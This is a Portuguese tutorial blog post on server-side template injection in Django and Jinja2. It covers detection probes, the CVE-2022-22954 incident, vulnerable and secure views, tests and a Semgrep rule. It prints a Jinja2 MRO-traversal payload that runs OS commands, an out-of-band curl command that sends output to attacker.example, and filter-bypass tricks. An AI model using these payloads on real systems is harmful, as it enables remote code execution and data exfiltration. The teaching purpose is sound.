Injeção em Templates Server-Side (SSTI): Quando os Templates do Django Viram Arma
Django Security Series — Post 3 | Série I: Ataques de Injeção
OWASP A03:2021 — Injection | Tempo de leitura: ~24 min
🧪 Rode você mesmo. Este ataque vem como um lab executável no django-security-lab: uma view vulnerável que compila a sua string
?tpl=como um template, e uma segura que passa a mesma string como dado. Tudo é exercitado pela linha de comando — envie{{ flag }}comcurle veja o segredo do contexto vazar em/ssti/vulnerable/e voltar como texto literal em/ssti/secure/. Clone e reproduza cada passo.
O Post 1 desta série abordou SQL Injection — dados não confiáveis quebrando a barreira entre a estrutura SQL e uma consulta ao banco de dados. O Post 2 abordou XSS — dados não confiáveis quebrando a barreira entre a estrutura HTML e o motor de renderização do navegador. O Post 3 completa a tríade de injeção com a variante de maior severidade: Injeção em Templates Server-Side (SSTI), em que dados não confiáveis quebram a barreira entre uma string e um motor de templates server-side — e a recompensa para o atacante não é a execução de um script no DOM, mas Execução Remota de Código (RCE) no próprio servidor.
Este é o post que mais me surpreendeu durante a pesquisa da série. Eu assumia que o Django era imune a SSTI — o ataque fica sob o mesmo guarda-chuva de "Injeção" do OWASP (A03) que o SQL Injection e o XSS, mas quase todo write-up e lab o ilustra com Jinja2 ou FreeMarker, nunca a linguagem de templates do Django. O que descobri é mais nuanceado: a DTL do Django (a Django Template Language, o motor nativo) é arquiteturalmente segura — {{ 7*7 }} lança um TemplateSyntaxError em tempo de parse, não 49 — mas essa garantia se desfaz no momento em que um desenvolvedor passa entrada do usuário para Template(user_input). O Petição Brasil, a plataforma cuja segurança eu estudava enquanto escrevia esta série, envia mais de uma dúzia de tipos de e-mail de notificação — assinatura verificada, meta alcançada, petição aprovada ou rejeitada — cada um renderizado a partir de um arquivo de template fixo que só um deploy de código consegue alterar. O pedido por eficiência se escreve sozinho: mover esses corpos para um model, para que a equipe edite o texto pelo admin sem publicar código. Implemente isso do jeito ingênuo — renderizando cada corpo armazenado como um template — e cada um desses e-mails vira um sink de SSTI armazenado, que é exatamente o padrão com que este post termina. Foi isso que fez a classe parecer real, e não apenas acadêmica.
Neste post vou detalhar como o SSTI é detectado e explorado, por que o Jinja2 é o principal alvo, que propriedade arquitetural torna a DTL segura, e exatamente onde essa garantia de segurança se desfaz. A regra que construímos é simples: um template é um arquivo que você controla, não uma string que um usuário te envia.
O Ataque: O Que É e Como Funciona
SSTI ocorre quando entrada controlada pelo usuário é concatenada em uma string de template e depois renderizada por um motor de templates, fazendo o motor avaliar a entrada como código em vez de dado. A causa raiz é a mesma categoria de erro do SQL Injection — confundir dado e código em uma fronteira de interpretador — só que uma camada acima na pilha. No SQL Injection o interpretador é o motor do banco de dados; no SSTI o interpretador é o motor de templates.
A consequência é proporcional ao que o motor de templates consegue alcançar — e esse alcance é muito mais profundo do que a maioria dos desenvolvedores imagina. Uma query SQL parametrizada é limitada: ela toca apenas o banco de dados e nada mais. Um motor de templates, em contraste, opera dentro do próprio processo Python. Em Python, todo objeto carrega uma referência para sua classe (__class__), toda classe carrega sua cadeia completa de herança (__mro__, a Ordem de Resolução de Métodos — MRO), e a classe base object na raiz dessa cadeia conhece todas as outras classes que o interpretador carregou na memória (__subclasses__()). Um motor de templates que avalia expressões Python tem, portanto, um caminho de travessia a partir de qualquer valor simples — uma string, um número, uma lista — até subprocess.Popen, os.system e o shell do OS. A barreira do armazenamento de dados onde o SQL Injection para não existe aqui; a única barreira é o próprio processo Python — e o processo Python tem acesso completo ao sistema operacional.
A abordagem padrão de detecção — documentada no PortSwigger Web Security Academy — usa uma string de sonda cuja saída identifica tanto a presença de SSTI quanto o motor sendo usado:
| Motor | String de sonda | Saída se vulnerável |
|---|---|---|
| Jinja2 / Twig | {{7*7}} |
49 |
| Confirmação Jinja2 | {{7*'7'}} |
7777777 |
| FreeMarker / Groovy | ${7*7} |
49 |
| ERB / EJS | <%= 7*7 %> |
49 |
| Ruby (Slim / Haml) | #{7*7} |
49 |
| Smarty | {7*7} |
49 |
| Django DTL | {{7*7}} |
(TemplateSyntaxError em tempo de parse) |
A linha da Django DTL é a chave: {{ 7*7 }} lança TemplateSyntaxError em tempo de parse porque 7*7 não é uma sintaxe válida de lookup de variável — o parser da DTL rejeita operadores aritméticos antes mesmo da renderização começar. Essa é a garantia arquitetural discutida na seção de Proteções do Django abaixo. Para um atacante sondando uma aplicação de caixa preta, receber 49 em resposta a {{7*7}} confirma tanto a presença de SSTI quanto que o motor é Jinja2 ou Twig. Um erro 500 ou stack trace sugere DTL — se a aplicação passa entrada do usuário para Template(), a sonda dispara TemplateSyntaxError em tempo de parse. Se a string de sonda é refletida literalmente (por exemplo, porque o valor é substituído em um template fixo via {{ user_input }}), não há SSTI presente. A próxima sonda do atacante é {{ ''.__class__ }}: no Jinja2 retorna <class 'str'>; na DTL lança TemplateSyntaxError (acesso a dunder é explicitamente proibido pelo parser). A travessia do MRO começa a partir daí.
A escalação a partir dessa sonda é curta e determinística assim que um motor Jinja2 é confirmado. O atacante envia {{7*7}} em um campo voltado ao usuário — um nome de exibição, um assunto de e-mail template, uma saudação personalizada — que o servidor renderiza posteriormente; o servidor retorna 49 em vez da string literal, confirmando o SSTI; e a partir daí o atacante enumera o grafo de objetos Python até alcançar uma classe que pode executar comandos de OS, momento em que comandos arbitrários rodam no servidor sob o usuário do processo web. O Django suporta oficialmente o Jinja2 como backend de templates alternativo, configurável junto ao DTL no settings.py via django.template.backends.jinja2.Jinja2 — equipes o adotam quando precisam de suporte a expressões Python, do sistema de macros do Jinja2, compatibilidade com migração do Flask ou desempenho de renderização bruto. O modelo de avaliação de expressões do Jinja2 dá ao código de template acesso direto de leitura a atributos de objetos Python, então um atacante com SSTI em um ambiente Jinja2 pode percorrer o MRO para alcançar classes built-in perigosas:
# Travessia conceitual — ilustra o caminho, não é um exploit pronto
{{ ''.__class__ }}
→ <class 'str'>
{{ ''.__class__.__mro__ }}
→ (<class 'str'>, <class 'object'>)
{{ ''.__class__.__mro__[1].__subclasses__() }}
→ [<class 'type'>, <class 'weakref'>, ..., <class 'subprocess.Popen'>, ...]
Assim que subprocess.Popen ou uma primitiva de execução similar é localizada na lista de subclasses (seu índice varia por versão do Python e módulos carregados), o atacante pode invocá-la para executar comandos de OS. O índice específico varia, mas o caminho de travessia é determinístico — ferramentas automatizadas o percorrem exaustivamente. Na prática, a expressão de template é o interpretador de script: o atacante não precisa de um payload de shell separado, porque o grafo de objetos Python é, em si, a superfície de ataque.
Duas variações importam na prática. A primeira é o SSTI cego, em que o template injetado é avaliado, mas sua saída nunca volta para o atacante — o caso clássico é um template renderizado no corpo de um e-mail ou em uma tarefa em segundo plano, e não na resposta HTTP que o atacante está observando. A sonda {{7*7}} é inútil aqui, porque não há nenhum 49 para ler. Em vez disso, o atacante prova a execução out-of-band — ou seja, por um canal lateral, fora da resposta normal da aplicação. Um payload como os.system('curl attacker.example/$(id)') força o próprio servidor a fazer uma requisição de saída para um host que o atacante controla (um listener como o Burp Collaborator ou uma instância auto-hospedada do interactsh); a simples chegada dessa requisição — carregando a saída do id na URL — confirma a execução de código mesmo que a aplicação não tenha retornado nada visível. Se as conexões de saída estiverem bloqueadas por firewall, um payload de temporização como os.system('sleep 5') funciona no lugar: uma resposta que consistentemente demora cinco segundos a mais que o normal é, ela própria, o sinal de que o comando rodou.
A segunda é o bypass de filtro, e é a razão pela qual uma blocklist não é uma correção. Um desenvolvedor que reage ao SSTI rejeitando qualquer entrada que contenha {{ ou .__class__ apenas elevou um pouco a barreira, porque o motor oferece mais de um caminho para o mesmo objeto. Os filtros de pipe do Jinja2 alcançam um atributo sem nunca escrever o literal proibido — {{ ''|attr('__class__') }} recupera __class__ sem que a string .__class__ apareça no payload — e um WAF que casa com os caracteres de chave crus pode ser driblado substituindo-os por sósias Unicode, que o motor de templates ainda interpreta como delimitadores. Cada nova regra só inicia mais uma rodada de whack-a-mole contra um interpretador muito mais flexível do que o padrão que tenta contê-lo. É por isso que a única mitigação confiável é estrutural, e não um filtro: nunca renderizar entrada do usuário como string de template, em primeiro lugar.
O contraste entre os dois motores é a lição inteira deste post, então vale a pena colocá-lo lado a lado:
| Recurso | Django DTL | Jinja2 (ambiente padrão) |
|---|---|---|
| Avaliação de expressões | Não — apenas lookup de variáveis | Sim — expressões Python completas |
| Acesso a built-ins Python | Não | Sim (range, dict, etc.) |
Acesso a __class__, __mro__ |
Não | Sim |
| Objetos chamáveis em templates | Limitado — chama apenas métodos e callables sem argumentos, resolvidos via acesso a atributo | Sim — callables arbitrários |
Suporte a macro / bloco call |
Não | Sim |
| Sandbox built-in | Arquitetural (não é uma configuração) | Opcional — SandboxedEnvironment |
Saída de {{ ''.__class__ }} |
(TemplateSyntaxError) |
<class 'str'> |
Incidentes Reais
VMware Workspace ONE Access SSTI — CVE-2022-22954 (2022)
Em abril de 2022, a VMware divulgou uma vulnerabilidade crítica de SSTI não autenticada no Workspace ONE Access (anteriormente VMware Identity Manager), avaliada com CVSS 9.8. O ponto de entrada era o motor de templates FreeMarker usado na interface web do Workspace ONE: um atacante poderia fornecer uma expressão de template maliciosa pelo parâmetro HTTP deviceUdid no endpoint /catalog-portal/ui/oauth/verify sem nenhuma autenticação. O FreeMarker, assim como o Jinja2, avalia expressões no momento da renderização — uma expressão de template FreeMarker que alcança o OS pela classe freemarker.template.utility.Execute obtém o mesmo resultado que a travessia de MRO do Jinja2 acima.
A vulnerabilidade foi adicionada ao catálogo de Vulnerabilidades Exploradas Conhecidas (KEV) da CISA em 14 de abril de 2022. Atores fizeram engenharia reversa do patch para desenvolver um exploit funcional dentro de aproximadamente 48 horas após a divulgação de 6 de abril, e a VMware confirmou exploração in-the-wild em 13 de abril. Exploração ativa foi observada em larga escala dentro de dias após a divulgação, impulsionada inicialmente por atores oportunistas incluindo variantes de botnet Mirai e loaders de criptomineradores, com atores APT (incluindo grupos atribuídos por pesquisadores ao Irã) encadeando a vulnerabilidade pouco depois. A pontuação CVSS de 9.8 reflete a superfície de ataque pré-autenticação: qualquer sistema com a interface web do Workspace ONE acessível na rede era explorável sem credenciais.
O mapeamento MITRE ATT&CK é: T1190 (Exploit Public-Facing Application) para acesso inicial; T1059 (Command and Scripting Interpreter) para execução após o RCE ser obtido.
Um RCE não autenticado desta severidade nunca é apenas um incidente de TI — é um evento de proteção de dados. Qualquer dado pessoal alcançável a partir do host comprometido coloca o operador em pleno território de notificação obrigatória de vazamento: sob o GDPR (e, para um operador brasileiro, o dever do Art. 48 da LGPD de comunicar a ANPD e os titulares afetados), o relógio começa a correr na descoberta, e "um atacante não autenticado conseguia executar código arbitrário no servidor" está perto do pior achado que um controlador pode ser obrigado a divulgar. O CVSS 9.8 é um prazo de conformidade tanto quanto uma nota técnica.
A lição para desenvolvedores Django: a vulnerabilidade não estava na lógica de negócio da VMware — estava na decisão de renderizar uma string controlada pelo usuário por meio de um motor de templates poderoso com avaliação de expressões. Uma view Django usando DTL para processar o mesmo parâmetro não teria sido vulnerável da mesma forma. Uma view Django usando Jinja2 sem SandboxedEnvironment teria sido.
Fonte: VMware Security Advisory VMSA-2022-0011
Proteções Padrão do Django
A DTL não avalia expressões Python. Isso é arquitetural, não uma configuração que pode ser desativada acidentalmente. Quando o motor de templates do Django encontra {{ variavel }}, ele procura o nome variavel no dicionário Context explicitamente passado — esse é o único mecanismo de resolução que ele tem. Não há parser de expressões, não há acesso a built-ins Python, e não há caminho para o grafo de objetos além do que a view colocou explicitamente no contexto.
As três consequências que decorrem dessa arquitetura:
{{ 7*7 }}lançaTemplateSyntaxError— operadores aritméticos não são sintaxe válida de lookup de variável; o parser da DTL rejeita a expressão antes da renderização começar.{{ ''.__class__ }}lançaTemplateSyntaxError— a DTL proíbe explicitamente acesso a atributos que começam com underscores ("Variables and attributes may not begin with underscores").{{ undefined_name }}renderiza como string vazia — um nome de variável sintaticamente válido que não está no contexto resolve para''(o padrãostring_if_invalid). Apenas nomes sintaticamente válidos e indefinidos produzem esse comportamento silencioso de string vazia.{{ request.META.HTTP_HOST }}renderiza como string vazia a menos que a view tenha passado explicitamenterequestno contexto — não há objeto request implícito disponível em uma string de template fornecida pelo usuário.
Tags {% load %} — o mecanismo para adicionar funcionalidades personalizadas a templates DTL — devem ser registradas em um pacote Python templatetags/ e não podem ser carregadas a partir de entrada do usuário. Um atacante não pode {% load subprocess %} mesmo que controle a string do template, porque a tag não existe e o mecanismo de carregamento só resolve módulos Python registrados.
O padrão autoescape=True do Django (abordado no Post 2) adiciona uma camada de proteção XSS em cima: mesmo que o valor de uma variável contivesse um payload HTML, ele seria escapado como entidade antes de ser escrito na página.
Mas toda proteção descrita aqui pressupõe uma coisa: que o código-fonte do template é seu, carregado do sistema de arquivos, e não algo que um usuário te entregou. A próxima seção é o que acontece quando essa premissa se quebra.
Padrão Vulnerável: O Que NÃO Fazer
A segurança da DTL é incondicional para templates carregados do sistema de arquivos. Ela se desfaz no momento em que uma string da entrada do usuário é passada diretamente para Template(): nesse ponto o usuário deixa de fornecer valores para o seu template — ele está escrevendo-o, e a DTL resolve cada nome que ele escrever em relação ao contexto que a sua view passou. Os três padrões abaixo são as formas como essa fronteira é cruzada em código Django real.
Padrão 1 — Template(user_input) em uma View
O erro mais comum de SSTI no Django: passar entrada do usuário diretamente ao construtor Template().
# INSEGURO — string controlada pelo usuário renderizada como template
from django.template import Template, Context
from django.http import HttpResponse
def saudacao_personalizada(request):
# O usuário forneceu essa string — por exemplo, via um campo "personalize sua saudação"
template_string = request.POST.get('greeting_template', '')
t = Template(template_string)
result = t.render(Context({'user': request.user}))
return HttpResponse(result)
O valor controlado pelo atacante é greeting_template, e o desenvolvedor entregou o objeto de contexto — que aqui contém request.user — a um motor que resolverá quaisquer nomes que o atacante escrever. Payload de ataque: {{ user.password }} — o campo password do Django armazena a credencial com hash (ex: pbkdf2_sha256$...), não o texto claro, mas o hash agora fica visível na resposta, e vazá-lo permite ataques de força bruta offline sem nenhum acesso adicional ao servidor. A sonda aritmética {{7*7}}, por outro lado, é uma pista falsa contra uma view DTL: ela lança TemplateSyntaxError antes mesmo de a renderização começar, então a questão real nunca é "a aritmética é avaliada?", mas "quais objetos nomeados estão no contexto".
O raio de impacto escala com a profundidade do contexto. Uma instância de model expõe cada campo acessível pelo nome, e o Django ORM vai além — relações reversas ({{ user.groups.all }}, {{ user.logentry_set.all }}, qualquer acessor _set) são acessíveis apenas conhecendo o schema, sem necessidade de travessia; todo objeto no contexto é uma superfície legível, incluindo tudo o que o ORM consegue alcançar a partir dele. Um segundo risco, mais afiado, é a execução de template tags: toda {% tag %} registrada no pacote templatetags/ de qualquer app instalado é invocável a partir de uma string de template fornecida pelo usuário — tags built-in como {% include %} e {% extends %}, e quaisquer tags personalizadas que sua aplicação registre, inclusive as que invocam lógica de negócio, formatam dados sensíveis ou tocam o sistema de arquivos.
O que o Padrão 1 não é, num projeto puramente DTL, é execução remota de código: o parser continua se recusando a avaliar expressões, então o raio de impacto permanece limitado ao contexto — divulgação de dados e invocação de tags, não um shell. Transformar o mesmo erro em RCE exige um motor de templates que avalia expressões, e é esse o próximo padrão.
Padrão 2 — Backend Jinja2 Sem SandboxedEnvironment
O Django suporta um backend Jinja2 como motor de templates alternativo. Ao contrário do DTL, o Environment padrão do Jinja2 avalia expressões Python completas em tempo de renderização. Quando uma string controlada pelo usuário é passada para from_string(), o motor trata essa string como código de template executável — não como dado. Como o Jinja2 expõe o grafo de objetos Python (atributos como __class__, __mro__ e __subclasses__() são legíveis por qualquer expressão de template), um atacante pode percorrer a partir de qualquer valor no contexto até chegar a subprocess.Popen e executar comandos arbitrários no sistema operacional. Não há avaliador de expressões para desativar; a única salvaguarda arquitetural é o SandboxedEnvironment, e ele não é o padrão.
# INSEGURO — Jinja2 from_string() com entrada do usuário e sem sandbox
from django.template import engines
from django.http import HttpResponse
def renderizar_notificacao(request):
body_template = request.POST.get('notification_body', '')
jinja_env = engines['jinja2']
result = jinja_env.from_string(body_template).render({})
return HttpResponse(result)
Payload de ataque: {{ ''.__class__.__mro__[1].__subclasses__()[INDICE]('id', shell=True, stdout=-1).communicate()[0] }} — onde INDICE é a posição de subprocess.Popen na lista de subclasses (-1 é o valor inteiro de subprocess.PIPE). Isso executa o comando id no servidor e retorna sua saída na resposta HTTP.
Note que engines['jinja2'] usa a configuração padrão do backend Jinja2 do Django, que não envolve o ambiente em SandboxedEnvironment. O Environment padrão do Jinja2 expõe o grafo completo de objetos Python.
Padrão 3 — SSTI Armazenado via Template Backed por Banco de Dados
O paralelo com o XSS Armazenado (Post 2): um campo configurável por admin no banco de dados é passado para Template() no momento da renderização.
# INSEGURO — SSTI armazenado: string de template vem do banco de dados, não de uma requisição
from django.template import Template, Context
from django.core.mail import send_mail
from .models import EmailTemplate # armazena templates de corpo configurados por admin
def enviar_email_boas_vindas(user):
template_record = EmailTemplate.objects.get(name='welcome')
# template_record.body é um campo de texto livre que um admin pode editar no Django admin
t = Template(template_record.body)
body = t.render(Context({'user': user}))
send_mail('Bem-vindo', body, 'noreply@example.com', [user.email])
A superfície de ataque agora é qualquer usuário com acesso ao Django admin (ou ao banco de dados subjacente). Isso inclui contas de admin comprometidas, insiders maliciosos e vulnerabilidades de SQL injection em outras partes da aplicação. Um payload de SSTI armazenado em EmailTemplate.body é acionado a cada chamada de enviar_email_boas_vindas() — não apenas uma vez, mas para cada e-mail enviado a partir daí. O paralelo com o XSS Armazenado: uma escrita, execuções ilimitadas.
A correção para os três padrões é idêntica: nunca passar uma string controlada pelo usuário ou pelo banco de dados para Template() como fonte de template. A próxima seção cobre a abordagem correta.
Implementação Segura: O Jeito Django
Regra 1 — Nunca Passe Entrada do Usuário para Template()
Se personalização dinâmica semelhante a template é necessária (por exemplo, "Olá, {{ first_name }}!"), use um arquivo de template fixo carregado do sistema de arquivos com um mecanismo de substituição controlado — não a entrada do usuário como fonte do template.
# SEGURO — template é um arquivo que você controla; dados do usuário são apenas contexto
from django.template.loader import get_template
from django.http import HttpResponse
# Template no sistema de arquivos: templates/blog/saudacao.html
# Conteúdo: <p>Olá, {{ user.first_name }}!</p>
# O usuário pode influenciar os *valores* no contexto — ele não pode fornecer o template.
TEMPLATES_SAUDACAO_PERMITIDOS = {
'formal': 'blog/saudacao_formal.html',
'casual': 'blog/saudacao_casual.html',
}
def saudacao_personalizada(request):
template_name = request.GET.get('estilo', 'casual')
# Valida contra uma allowlist explícita — nunca passe o valor bruto da requisição para get_template()
nome_template_seguro = TEMPLATES_SAUDACAO_PERMITIDOS.get(template_name, 'blog/saudacao_casual.html')
t = get_template(nome_template_seguro)
return HttpResponse(t.render({'user': request.user}, request))
Propriedades chave deste padrão:
- A fonte do template é um arquivo em disco que apenas desenvolvedores podem modificar — a entrada do usuário não pode afetar a estrutura do template.
- O usuário pode influenciar qual template é carregado, mas apenas a partir de uma allowlist explícita — a travessia de caminho é estruturalmente prevenida.
- Os dados do usuário fluem apenas pelo Context — são dados renderizados, nunca código de template.
Regra 2 — Use SandboxedEnvironment se Jinja2 for Necessário
Se uma feature genuinamente requer lógica de template definida pelo usuário (por exemplo, um sistema de notificações em que cada organização personaliza seu próprio corpo de e-mail), use jinja2.sandbox.SandboxedEnvironment em vez do Environment padrão. O sandbox intercepta acesso a atributos dunder — um acesso isolado a .__class__ resolve para um proxy Undefined inseguro (renderizado como vazio), e qualquer acesso encadeado a partir dele lança SecurityError, bloqueando a travessia MRO. Trate-o como uma camada de defesa em profundidade, não como garantia absoluta — bypasses históricos via referências a globals e helpers built-in já foram divulgados, então mantenha o Jinja2 atualizado e combine o sandbox com contextos mínimos.
# SEGURO — SandboxedEnvironment bloqueia a travessia de MRO
from jinja2.sandbox import SandboxedEnvironment
from django.http import HttpResponse
_sandbox = SandboxedEnvironment(autoescape=True)
def renderizar_notificacao_personalizada(request):
body_template = request.POST.get('notification_body', '')
try:
t = _sandbox.from_string(body_template)
result = t.render({'user_name': request.user.get_full_name()})
except Exception:
# SandboxedEnvironment lança SecurityError em tentativas de travessia;
# trate qualquer exceção de from_string() ou render() como rejeição.
result = ''
return HttpResponse(result)
Observe o que o contexto contém: {'user_name': request.user.get_full_name()} — uma string simples, não o objeto request.user completo. Limitar o contexto ao mínimo de dados que o template precisa é sua própria camada de defesa: mesmo que o sandbox fosse contornado, o acesso do atacante seria limitado pelo que o contexto expôs.
SandboxedEnvironment com autoescape=True também aplica escape HTML, fechando o vetor XSS que existiria se a saída do template renderizado fosse inserida em uma página (→ Post 2).
Regra 3 — Valide Nomes de Template Contra uma Allowlist
Esta regra se aplica quando um valor do usuário ou do banco de dados influencia qual template é carregado — não o conteúdo do template. Um usuário que controla o nome do template pode construir valores como ../../settings.html para ler arquivos arbitrários através do loader de template. Os loaders de template do Django não previnem isso por si sós.
Abordagem primária — allowlist explícita. Quando o conjunto de templates válidos é fixo e conhecido em tempo de design, uma allowlist é a proteção mais robusta:
# SEGURO — validação por allowlist antes de get_template()
from django.template.loader import get_template
ALLOWLIST_TEMPLATES = frozenset({
'emails/boas_vindas.html',
'emails/recuperacao_senha.html',
'emails/fatura.html',
})
def carregar_template_email(template_name: str):
if template_name not in ALLOWLIST_TEMPLATES:
raise ValueError(f"Template '{template_name}' não está no conjunto permitido.")
return get_template(template_name)
Uma allowlist rejeita qualquer coisa não explicitamente prevista — com correspondência por igualdade exata (como acima, usando pertinência em frozenset), ela não pode ser percorrida via manipulação de caminho.
Quando o conjunto de templates é aberto — resolução de caminho. Algumas aplicações constroem nomes de template dinamicamente a partir de um prefixo fixo e um fragmento fornecido pelo usuário (por exemplo, templates baseados em localidade: en/welcome.html, pt/welcome.html). Quando nem toda combinação válida pode ser listada antecipadamente, verifique que o caminho resolvido permanece dentro do diretório de templates esperado:
import pathlib
from django.template.loader import get_template
TEMPLATES_BASE = pathlib.Path('/app/templates').resolve()
def carregar_template_locale(locale: str, name: str):
candidate = (TEMPLATES_BASE / locale / name).resolve()
if not candidate.is_relative_to(TEMPLATES_BASE):
raise ValueError("Travessia de caminho detectada.")
# Converter de volta para nome relativo para o loader do Django
return get_template(str(candidate.relative_to(TEMPLATES_BASE)))
is_relative_to() evita o bypass clássico de prefixo com startswith(), onde um diretório irmão como /app/templates_evil/ passaria uma verificação startswith('/app/templates').
Quando ambas as abordagens forem viáveis, prefira a allowlist — ela rejeita nomes não explicitamente previstos, enquanto a verificação de caminho apenas previne o escape de diretório.
A regra invariante: um template é um arquivo que você controla, não uma string que um usuário te envia.
Checklist de Prevenção de SSTI
| Controle | O que cobre |
|---|---|
Nunca passar strings não confiáveis para Template() |
O principal vetor de SSTI no Django — entrada do usuário e valores vindos do banco de dados são dados de contexto, nunca fonte de template |
Allowlist de nomes de template antes de get_template() |
Travessia de caminho via nomes de template controlados pelo usuário — impede o loader de ler arquivos arbitrários fora do diretório de templates |
SandboxedEnvironment para templates Jinja2 definidos pelo usuário |
Travessia de MRO no Jinja2 — intercepta acesso a atributos dunder e lança SecurityError em travessia encadeada |
| Contexto mínimo — passe apenas os dados necessários | Reduz o raio de impacto se Template() ou Jinja2 for mal utilizado — acesso do atacante limitado pelo contexto |
| Semgrep / análise estática no CI | Detecta padrões Template(variável) e from_string(variável) do Jinja2 antes de chegarem à produção |
A Visão do Analista
Para um analista, o que separa o SSTI dos outros achados de injeção desta série é o raio de impacto. O SQL Injection é limitado pelo banco de dados; o XSS refletido é limitado pela sessão de navegador da vítima. Um achado Template(user_input) em uma view Jinja2 não tem esse teto — é um caminho direto para Execução Remota de Código no host, e é por isso que a mesma classe que pontua na casa dos 7 para uma variante de leitura de dados pontua 9.8 no instante em que alcança um motor que avalia expressões (a CVE da VMware acima). Ao triar esse achado você não está diante de um bug de divulgação de informação; está diante de um possível ponto de apoio, e ele deve ser roteado e priorizado como tal.
Os controles se empilham como um modelo de defesa em profundidade prevê. Nunca passar entrada do usuário para Template() é um controle preventivo e eliminativo — remove o sink em vez de filtrar a fonte, e controles eliminativos são o tier mais forte que existe. O SandboxedEnvironment é um controle compensatório: é o que você usa quando um requisito de negócio genuíno força templates escritos por usuários e o sink não pode ser eliminado, e — como todo controle compensatório — carrega risco residual (escapes de sandbox já foram divulgados historicamente), o que é exatamente a razão de o post combiná-lo com um contexto mínimo. Essa última camada é o instinto do analista tornado concreto: presuma que o controle à frente dela pode falhar e mantenha o raio de impacto pequeno para quando isso acontecer. A conclusão para a gestão de vulnerabilidades é que uma chamada Template( com um argumento não literal é uma assinatura de alta severidade e baixo falso-positivo — barata de encontrar com grep, cara de ignorar — que é exatamente o perfil que pertence a um gate de CI, não a uma revisão trimestral.
Detectando Automaticamente
Testando Sua Defesa
A defesa é verificável com um pequeno conjunto de testes unitários que fixam os três comportamentos de que o post depende — a sonda nunca é avaliada, Template(user_input) vaza dados do contexto, e o sandbox do Jinja2 bloqueia a travessia de MRO:
# blog/tests.py
from django.test import TestCase
from django.contrib.auth.models import User
class SSTIProtectionTests(TestCase):
def setUp(self):
self.user = User.objects.create_user('testuser', password='testpass')
def test_sonda_template_nao_avaliada(self):
"""Smoke test: confirma que a sonda {{7*7}} nunca retorna '49' em um campo
controlado pelo usuário renderizado por uma view DTL padrão. Uma falha —
b'49' na resposta — indica que um backend Jinja2 sem sandbox está em uso.
Nota: a DTL nunca avalia aritmética independentemente de como o template é
construído, portanto este teste não detecta uso indevido de Template(user_input)
em projetos puramente DTL; para isso, consulte test_dtl_template_input_usuario_expoe_dados_contexto.
Adapte '/profile/' e 'first_name' para a URL e o campo que sua aplicação renderiza."""
self.user.first_name = '{{7*7}}'
self.user.save()
self.client.force_login(self.user)
response = self.client.get('/profile/')
self.assertEqual(response.status_code, 200)
self.assertNotIn(b'49', response.content)
def test_dtl_template_input_usuario_expoe_dados_contexto(self):
"""Documenta a vulnerabilidade Template(user_input): a DTL resolve cada nome
que o atacante escreve em relação ao que a view passou para o contexto.
Este teste exercita deliberadamente o padrão perigoso para que o comportamento
seja explícito — use-o para entender o que está em jogo se Template(user_input)
aparecer em uma view que passa um objeto user no contexto."""
from django.template import Template, Context
payload = '{{ user.email }}'
t = Template(payload)
result = t.render(Context({'user': self.user}))
# A DTL resolve 'user.email' do contexto — o endereço é vazado.
self.assertEqual(result, self.user.email)
def test_sandbox_jinja2_bloqueia_travessia(self):
"""Confirma que SandboxedEnvironment lança SecurityError quando uma expressão
de template tenta travessia MRO via acesso encadeado a dunder. Um acesso
isolado a .__class__ retorna um proxy Undefined inseguro (renderiza vazio),
mas qualquer acesso encadeado — .__class__.__mro__, .__class__.mro() — lança
SecurityError. Uma falha aqui significa que o sandbox não está ativo e o
backend Jinja2 está aberto para RCE completo."""
from jinja2.sandbox import SandboxedEnvironment
import jinja2
env = SandboxedEnvironment()
with self.assertRaises(jinja2.exceptions.SecurityError):
env.from_string("{{ ''.__class__.__mro__ }}").render({})
Fazendo a Varredura
O SQL Injection do Post 1 era uma classe que os scanners padrão pegam com facilidade. O XSS via mark_safe do Post 2 era uma em que eles discordavam — o Bandit disparava demais, o Semgrep ficava quieto. O SSTI via Template() é o terceiro desfecho, e o mais desconfortável: ambas as ferramentas ficam completamente silenciosas diante de um bug em que um único payload basta para ler qualquer valor do contexto de renderização.
O Bandit — o scanner de AST do Post 1 — não reporta nada:
bandit -r labs/post_03_ssti/
# Test results: No issues identified.
Ele traz checagens para mark_safe (B308/B703), autoescape do Jinja2 (B701) e Mako (B702) — você pode ler o conjunto inteiro no seu índice de plugins — mas não tem nenhuma checagem que trate django.template.Template() — ou Engine.from_string() — como um sink. O Bandit casa chamadas perigosas nó a nó na AST e nunca modela esta, então um template compilado a partir de entrada do usuário não casa com nada e o arquivo volta limpo.
As regras da comunidade do Semgrep — o scanner de taint do Post 1 — não se saem melhor:
semgrep scan --config p/django --config p/python --config p/owasp-top-ten labs/post_03_ssti/views_vulnerable.py
# Ran 156 rules on 1 file: 0 findings.
156 regras Python rodam, e nenhuma cobre este sink. A cobertura Django dos pacotes da comunidade é construída em torno do lado de saída (autoescape / mark_safe); não há regra ligando um valor de requisição a django.template.Template() — você pode pesquisar no registro de regras da comunidade e confirmar a lacuna. (O Semgrep até tem regras de SSTI para outras stacks — o render_template_string do Flask, por exemplo — mas não o equivalente do Template() do Django.)
Então, diferente do Post 2, não é uma questão de as ferramentas discordarem — elas erram de vez, na mesma direção. Essa é a outra metade do gatilho para uma regra própria: não "as ferramentas não distinguem o bug da correção", mas "as ferramentas não veem o bug de forma alguma". Uma pequena regra Semgrep personalizada fecha a lacuna. A lógica é deliberadamente crua e sintática: casa toda chamada Template() / from_string() e depois subtrai a única forma segura — uma chamada sobre uma string literal que o próprio desenvolvedor escreveu.
# rules/ssti.yaml (abreviada)
patterns:
- pattern-either: # casa um template compilado a partir de qualquer valor…
- pattern: Template($X)
- pattern: $E.from_string($X)
- pattern-not: Template("...") # …mas não um construído a partir de uma string literal
- pattern-not: $E.from_string("...")
$X é uma metavariável — ela casa com o que quer que seja passado à chamada, um nome ou uma expressão. Então o pattern-either pega a chamada não importa como o template seja construído, e as duas linhas pattern-not descartam o único caso em que esse argumento é uma string literal. Essa única distinção — literal ou não — é a regra inteira, e ela mapeia com precisão nas duas views. A view vulnerável passa uma variável (Template(tpl)): $X liga-se a tpl, nenhum pattern-not casa, então a regra dispara. O código-fonte da view segura é um literal (Template("{{ message }}")): o primeiro pattern-not casa com ele exatamente, então ele é removido e a regra fica silenciosa. Ela cai precisamente onde deveria:
semgrep --config rules/ssti.yaml labs/post_03_ssti/views_vulnerable.py # 1 achado, linha 33
semgrep --config rules/ssti.yaml labs/post_03_ssti/views_secure.py # 0 achados
